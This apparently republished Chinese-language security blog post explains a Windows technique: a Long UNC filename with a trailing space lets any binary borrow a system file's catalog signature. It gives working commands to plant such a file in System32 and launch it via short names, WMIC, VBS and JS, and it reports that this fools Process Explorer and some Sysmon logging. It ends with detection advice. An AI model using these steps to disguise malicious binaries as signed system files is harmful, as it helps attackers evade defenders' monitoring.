Catalog 签名伪造——Long UNC 文件名欺骗

发布于 2025-03-01 09:35:26 字数 5613 浏览 4 评论 0

0x00 前言

这次将要介绍一个 Catalog 签名伪造的方法,利用 Long UNC 文件名欺骗系统,获得系统内置的 Catalog 签名

注:本文介绍的技巧参考自 Matt Graeber@mattifestation 公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。

参考资料:http://www.exploit-monday.com/2013/02/WindowsFileConfusion.html?m=1

0x01 简介

本文将要介绍以下内容:

  • Long UNC 基础知识
  • Long UNC 文件名欺骗的方法
  • Long UNC 文件名欺骗优缺点分析

0x02 Long UNC 介绍

UNC(Universal Naming Convention)

通用命名规则,可用来表示 Windows 系统中文件的位置

详细介绍可参考如下链接:https://en.wikipedia.org/wiki/Path_(computing )

Long UNC

正常 UNC 支持的最大长度为 260 字符

为了支持更长的字符,引入了 Long UNC,支持最大长度为 32767

格式举例: \\?\C:\test\a.exe

type putty.exe > "\\?\C:\test\longUNC.exe"

如下图,使用 Long UNC 的文件同普通文件没有区别

Alt text

特别用法:

如果在 Long UNC 文件名后面加一个空格,系统对文件名的判断将发生错误

type putty.exe > "\\?\C:\test\mimikatz.exe "

如下图

Alt text

将 putty.exe 重命名为 "\\?\C:\test\mimikatz.exe " ,右键查看 "\\?\C:\test\mimikatz.exe " 的文件属性

发现了奇怪的地方: 属性显示该文件为样本文件 mimikatz.exe 的属性

直观理解:特殊 Long UNC 的文件能够欺骗系统,将其识别为另一个文件

0x03 Long UNC 文件名欺骗的方法

由上节测试,我们知道利用 Long UNC 能够复制文件属性

那么,如果复制的是系统文件,甚至是带有 catalog 签名的文件,是否能实现 catalog 的签名伪造?

测试 1: 伪造 calc.exe 的 catalog 签名

测试系统: Win7 x86

使用 sigcheck.exe 查看 calc.exe 的 catalog 签名:

sigcheck.exe -i c:\windows\system32\calc.exe

如下图

Alt text

Long UNC 文件伪造:

type putty.exe > "\\?\C:\Windows\System32\calc.exe "

注:输出到 c:\windows\system32\ 需要管理员权限

特殊文件名必须放在目标的同级目录下,即 C:\Windows\System32 ,否则启动失败

如下图,验证结论,特殊 Long UNC 能够复制文件属性

Alt text

获取短文件名:

dir /x calc*.exe

如下图

Alt text

"\\?\C:\Windows\System32\calc.exe " 可用短文件名 CALC~1.EXE 代替

使用 sigcheck.exe 查看该文件的 catalog 签名:

sigcheck.exe -i "\\?\C:\Windows\System32\calc.exe "

or

sigcheck.exe -i C:\Windows\System32\CALC~1.EXE

如下图

Alt text

成功伪造 catalog 签名

测试 2: 执行特殊 Long UNC 文件

1、无法双击执行

2、通过命令行

"\\?\C:\Windows\System32\calc.exe "

提示系统找不到指定的路径

C:\Windows\System32\CALC~1.EXE

启动正常 calc.exe

3、通过 WMIC

wmic process call create C:\Windows\System32\CALC~1.exe

4、通过 vbs

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "c:\windows\system32\calc~1.exe"

5、通过 js

var wsh=new ActiveXObject("wscript.shell");  
wsh.run("c:\\windows\\system32\\calc~1.exe");

启动后,进程名为 calc~1.exe

特别的地方:

通过 Process Explorer 验证进程签名,识别为 calc.exe 的默认微软证书

如下图

Alt text

注:

关于文件的描述,例如截图中的 "SSH, Telnet and Rlogin client" 可通过修改程序的资源进行伪造,方法暂略

得出结论: 执行特殊 Long UNC 文件能够欺骗 Process Explorer 的进程签名验证

补充:

能够欺骗 Sysmon 的部分日志监控功能,例如 Process creation

测试 3: 无法欺骗的工具

1、使用 certutil.exe 计算 MD5

certutil.exe -hashfile C:\Windows\System32\calc.exe MD5

certutil.exe -hashfile C:\Windows\System32\calc~1.exe MD5

注:

certutil.exe -hashfile "\\?\C:\Windows\System32\calc.exe " MD5

报错提示系统找不到文件

如下图

Alt text

测试 4: 多个同名文件夹的生成

type putty.exe > "\\?\C:\Windows\System32\calc.exe "
type putty.exe > "\\?\C:\Windows\System32\calc.exe  "
type putty.exe > "\\?\C:\Windows\System32\calc.exe   "

如下图

Alt text

测试 5: 特殊 Long UNC 文件的删除

del "\\?\C:\Windows\System32\calc.exe "

or

del C:\Windows\System32\CALC~1.exe

测试 6: 其他系统测试

支持 Win7-Win10

64 位系统需要注意重定向问题

0x04 利用分析

利用特殊 Long UNC 文件名欺骗系统对文件路径的判断,实现伪造 catalog 签名

特点:

欺骗系统对文件名的检查,将文件伪造成系统文件,伪造 catalog 签名

防御检测:

1、权限控制

欺骗系统文件,需要有系统文件夹的可写权限

2、文件识别

同级目录同名文件

3、进程名判断

特殊进程名,格式为短文件名,例如 CALC~1.EXE

4、工具检测

使用 certutil.exe 校验文件 hash

0x05 小结

本文介绍了利用特殊 Long UNC 文件名欺骗系统并获得 Catalog 签名的技巧,分析利用方法,分享防御思路。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

城歌

暂无简介

文章
评论
27 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文